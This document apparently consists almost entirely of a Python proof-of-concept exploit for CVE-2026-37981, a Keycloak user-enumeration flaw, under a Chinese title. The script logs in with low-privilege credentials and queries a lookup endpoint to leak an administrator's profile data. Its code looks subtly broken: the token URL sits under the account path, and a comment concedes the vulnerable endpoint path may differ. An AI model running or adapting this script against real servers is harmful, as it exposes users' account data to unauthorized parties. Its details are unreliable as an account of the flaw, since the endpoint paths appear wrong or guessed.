CVE-2026-37981 Keycloak用户信息枚举漏洞

# Proof of Concept for CVE-2026-37981 # Author: Security Analyst import requests import json # Configuration TARGET_URL = "https://keycloak.example.com/realms/master/account" USERNAME = "attacker" PASSWORD = "password" TARGET_USER_TO_ENUM = "admin" # Create a session to handle cookies session = requests.Session() # 1. Authenticate to obtain a token login_payload = { "username": USERNAME, "password": PASSWORD, "client_id": "account-console", "grant_type": "password" } print("[+] Logging in...") auth_resp = session.post(f"{TARGET_URL}/protocol/openid-connect/token", data=login_payload) if auth_resp.status_code != 200: print("[-] Login failed") exit(1) access_token = auth_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 2. Exploit: Lookup arbitrary user via the vulnerable endpoint # The endpoint allows querying any username if the attacker has a UMA resource print(f"[+] Attempting to enumerate user: {TARGET_USER_TO_ENUM}") # Note: The exact endpoint path might vary based on Keycloak version, this represents the vulnerable resource lookup enum_url = f"{TARGET_URL}/resources/users/lookup" payload = { "username": TARGET_USER_TO_ENUM } response = session.post(enum_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: user_data = response.json() print("[+] Success! User profile data leaked:") print(json.dumps(user_data, indent=2)) else: print("[-] Exploit failed or endpoint not vulnerable.")